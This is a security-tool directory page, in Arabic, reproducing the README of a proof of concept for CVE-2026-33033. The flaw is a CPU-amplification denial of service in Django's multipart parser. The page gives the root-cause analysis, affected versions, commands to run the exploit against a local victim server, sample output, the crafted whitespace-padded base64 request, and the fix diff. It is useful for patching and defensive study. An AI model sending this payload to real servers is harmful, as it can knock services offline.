Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-33033-PoC — إثبات مفهوم لاستغلال CVE-2026-33033، وهي ثغرة حرمان من الخدمة في MultiPartParser الخاص بـ Django عبر تضخيم وحدة المعالجة المركزية بمسافات base64، مما يُظهر تضخيمًا بنحو 800 ضعف مع طلب HTTP واحد. | Kitploit
أدوات/GitHubGitHub/ch4n3-yoon/cve-2026-33033-poc
تحليل الثغرات الأمنيةالاستغلالأمن الويباختبار الاختراق
GitHubch4n3-yoon/cve-2026-33033-poc

CVE-2026-33033-PoC

إثبات مفهوم لاستغلال CVE-2026-33033، وهي ثغرة حرمان من الخدمة في MultiPartParser الخاص بـ Django عبر تضخيم وحدة المعالجة المركزية بمسافات base64، مما يُظهر تضخيمًا بنحو 800 ضعف مع طلب HTTP واحد.

عرض المستودع
211منذ 5 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-33033 PoC

حرمان من الخدمة عبر تضخيم وحدة المعالجة المركزية بمسافات base64 في MultiPartParser الخاص بـ Django

يمكن لطلب HTTP واحد بحجم 2.5 ميجابايت أن يربك عامل Django لمدة ~5 ثوانٍ، محققًا تضخيمًا لوحدة المعالجة المركزية بنسبة ~2,100x مقارنة بطلب عادي بنفس الحجم. لا يتطلب أي مصادقة.

الإصدارات المتأثرة

تم إصلاح هذه الثغرة الأمنية في إصدار الأمان Django 6.0.4 (7 أبريل 2026)، بالإضافة إلى إصلاحات خلفية لجميع الفروع المدعومة.

الفرعالمتأثرالمُصلَح
Django 6.0.x<= 6.0.36.0.4
Django 5.2.x<= 5.2.115.2.12
Django 5.1.x<= 5.1.x5.1.16
Django 5.0.x<= 5.0.145.0.15
Django 4.2.x<= 4.2.284.2.29

الوصف الرسمي

CVE-2026-33033: ثغرة محتملة للحرمان من الخدمة في MultiPartParser عبر رفع ملفات مشفرة بـ base64 (الخطورة: متوسطة)

عند استخدام django.http.multipartparser.MultiPartParser، قد تؤدي عمليات الرفع متعددة الأجزاء مع Content-Transfer-Encoding: base64 التي تتضمن مسافات زائدة إلى نسخ متكرر للذاكرة، مما قد يؤدي إلى تدهور الأداء.

— ملاحظات إصدار Django 6.0.4

مشكلات أمنية أخرى تم إصلاحها في Django 6.0.4

CVEالخطورةالوصف
CVE-2026-3902منخفضةانتحال ترويسة ASGI عبر الخلط بين الشرطة السفلية والواصلة
CVE-2026-4277منخفضةإساءة استخدام الامتيازات في GenericInlineModelAdmin
CVE-2026-4292منخفضةإساءة استخدام الامتيازات في ModelAdmin.list_editable
CVE-2026-33034منخفضةتجاوز حد تحميل ذاكرة ASGI عبر غياب Content-Length

ملخص الثغرة الأمنية

يحتوي MultiPartParser الخاص بـ Django على مسار كود خاص للتعامل مع أجزاء الملفات ذات Content-Transfer-Encoding: base64. بعد إزالة المسافات من كل جزء، إذا لم تكن النتيجة مضاعفًا لـ 4 بايتات، تستدعي حلقة while الدالة field_stream.read(1) لجلب بايتات إضافية واحدًا تلو الآخر.

عندما يكون جسم الملف تقريبًا كله مسافات، فإن كل بايت يتم جلبه يُزال إلى لا شيء، لذا تستمر الحلقة — باستدعاء read(1) مرة واحدة لكل بايت مسافة. الرؤية الحاسمة هي أن كل استدعاء read(1) أغلى بكثير مما يبدو:

ثلاث طبقات تضخيم

root@kitploit:~
الطبقة 1:  حلقة محاذاة base64 تستدعي read(1) لكل بايت مسافة
              |
الطبقة 2:  LazyStream.read(1) يجلب الباقي كاملاً (~64 كيلوبايت)، يقطع 1 بايت،
          ويعيد ~64 كيلوبايت - 1  -->  نسخة بايتات O(C) لكل استدعاء
              |
الطبقة 3:  unget() يقوم بـ  self._leftover = bytes + self._leftover
          مما ينشئ كائن بايتات جديدًا في كل مرة  -->  memcpy بحجم ~C بايت

لكل جزء 64 كيلوبايت، يشكل عمل النسخ متسلسلة حسابية:

root@kitploit:~
الإجمالي = (C-1) + (C-2) + ... + 1 = C(C-1)/2 ~ 2.15 مليار عملية بايت

لإدخال 2.5 ميجابايت (~40 جزءًا): ~86 مليار بايت من عمل memcpy من طلب HTTP واحد.

تجاوز الحماية الحالية

يتضمن Django _update_unget_history() الذي يرفع SuspiciousMultipartForm إذا تم إرجاع نفس عدد البايتات 40+ مرة في 50 عملية. ومع ذلك، في هذا الهجوم تكون أحجام الإرجاع متناقصة بشكل رتيب (65535، 65534، 65533، ...)، لذا كل حجم فريد ولا يتم تفعيل الفحص أبدًا.

تشغيل ما قبل العرض

يصل وسيط CSRF إلى request.POST قبل تشغيل أي عرض، لذا حتى نقاط النهاية التي تُرجع 403 تتحمل تكلفة التحليل الكاملة.

هيكل المستودع

root@kitploit:~
CVE-2026-33033-PoC/
├── README.md           # هذا الملف
├── LICENSE
├── requirements.txt    # تبعيات Python
├── exploit.py          # سكربت الاستغلال
└── victim/             # خادم Django الضعيف
    ├── manage.py
    ├── uwsgi.ini       # إعداد نشر uWSGI
    └── victim/
        ├── __init__.py
        ├── settings.py  # إعدادات Django الافتراضية (لا حاجة لإعداد خاص)
        ├── urls.py      # نقاط نهاية /upload و /health
        └── wsgi.py

خطوات إعادة الإنتاج

1. الاستنساخ والإعداد

root@kitploit:~
git clone https://github.com/ch4n3-yoon/CVE-2026-33033-PoC.git
cd CVE-2026-33033-PoC

python3 -m venv venv
source venv/bin/activate
pip install -r requirements.txt

2. تشغيل الخادم الضحية

الخيار أ: خادم تطوير Django (الأسرع)

root@kitploit:~
cd victim
python manage.py runserver 0.0.0.0:8000

الخيار ب: uWSGI (أكثر واقعية — يستخدم 4 عمال)

root@kitploit:~
cd victim
uwsgi --ini uwsgi.ini

3. تشغيل الاستغلال

في طرفية منفصلة:

root@kitploit:~
source venv/bin/activate
python exploit.py --target http://127.0.0.1:8000/upload

الخيارات:

العلمالافتراضيالوصف
--targethttp://127.0.0.1:8000/uploadنقطة نهاية الرفع المستهدفة
--size2621440 (2.5 ميجابايت)حجم الحمولة بالبايتات
--rounds3عدد جولات الهجوم

4. المخرجات المتوقعة

root@kitploit:~
============================================================
CVE-2026-33033 PoC
Denial-of-service via base64 whitespace CPU amplification
in Django MultiPartParser
============================================================

Target:       http://127.0.0.1:8000/upload
Payload size: 2,621,440 bytes (2.5 MB)
Rounds:       3

[*] Checking server health...
[+] Server is up.

------------------------------------------------------------
[*] Phase 1: Sending BENIGN request (normal base64 data)
------------------------------------------------------------
    Status: 200
    Time:   5.55 ms

------------------------------------------------------------
[*] Phase 2: Sending MALICIOUS requests (base64 + whitespace)
------------------------------------------------------------

  Round 1/3:
    Status: 200
    Time:   4571.12 ms
  ...

============================================================
RESULTS
============================================================
  Benign request:          5.55 ms
  Attack average:       4571.12 ms  (over 3 rounds)
  Amplification:            823x

[!] VULNERABLE: Average attack time exceeds 1 second.
    A single 2.5 MB request ties up a worker for ~4.6s.
    With 4 workers, just 4 concurrent requests can DoS the server.

كيف يعمل الاستغلال

يبني الاستغلال جسم POST بصيغة multipart/form-data مع جزء ملف واحد:

root@kitploit:~
POST /upload HTTP/1.1
Content-Type: multipart/form-data; boundary=----CVE2026-33033
Content-Length: 2621552

------CVE2026-33033
Content-Disposition: form-data; name="file"; filename="poc.bin"
Content-Type: application/octet-stream
Content-Transfer-Encoding: base64

AAA<2,621,433 spaces>A
------CVE2026-33033--
  1. تجعل AAA الرائدة stripped_chunk = b"AAA" (3 بايتات)، لذا remaining = 3 % 4 = 3.
  2. تستدعي حلقة while الدالة field_stream.read(1) لجلب بايت واحد إضافي للمحاذاة.
  3. كل بايت مسافة يُزال إلى لا شيء (b"".join(b" ".split()) == b"")، مما يُبقي remaining = 3.
  4. تستمر الحلقة لكل بايت مسافة في التدفق.
  5. كل LazyStream.read(1) ينسخ داخليًا ~64 كيلوبايت عبر آلية الإرجاع.

الكود الضعيف

django/http/multipartparser.py، الأسطر 302-325 (Django 5.0.x):

root@kitploit:~
for chunk in field_stream:
    if transfer_encoding == "base64":
        stripped_chunk = b"".join(chunk.split())

        remaining = len(stripped_chunk) % 4
        while remaining != 0:
            over_chunk = field_stream.read(4 - remaining)   # <-- read(1)
            if not over_chunk:
                break
            stripped_chunk += b"".join(over_chunk.split())   # strips to empty
            remaining = len(stripped_chunk) % 4               # stays at 3

التصحيح

يستبدل الإصلاح (المطبق في Django 6.0.4 / 5.2.12 / 5.1.16 / 5.0.15 / 4.2.29) حلقة read(1) لكل بايت بقراءة مجمعة read(self._chunk_size):

root@kitploit:~
-                                stripped_chunk = b"".join(chunk.split())
+                                stripped_parts = [b"".join(chunk.split())]
+                                stripped_length = len(stripped_parts[0])

-                                remaining = len(stripped_chunk) % 4
-                                while remaining != 0:
-                                    over_chunk = field_stream.read(4 - remaining)
+                                while stripped_length % 4 != 0:
+                                    over_chunk = field_stream.read(self._chunk_size)
                                     if not over_chunk:
                                         break
-                                    stripped_chunk += b"".join(over_chunk.split())
-                                    remaining = len(stripped_chunk) % 4
+                                    over_stripped = b"".join(over_chunk.split())
+                                    stripped_parts.append(over_stripped)
+                                    stripped_length += len(over_stripped)
+
+                                stripped_chunk = b"".join(stripped_parts)

التغييرات الرئيسية:

  1. read(4 - remaining) → read(self._chunk_size) — يقرأ 64 كيلوبايت في المرة الواحدة بدلاً من 1-3 بايتات، مما يقلل استدعاءات القراءة من ~2.5 مليون إلى ~40.
  2. stripped_chunk += ... → stripped_parts.append(...) + b"".join() نهائي — يتجنب احتمالية تسلسل البايتات التربيعي.
  3. len(stripped_chunk) % 4 → عداد stripped_length — يتجنب إعادة حساب الطول المكررة.

إخلاء المسؤولية

يُقدَّم هذا الإثبات المفاهيمي لأغراض تعليمية واختبارات أمنية مصرح بها فقط. استخدمه بمسؤولية وفقط ضد الأنظمة التي تملكها أو لديك إذن صريح لاختبارها.

الترخيص

رخصة Apache 2.0 — انظر LICENSE.

تنزيل الأداة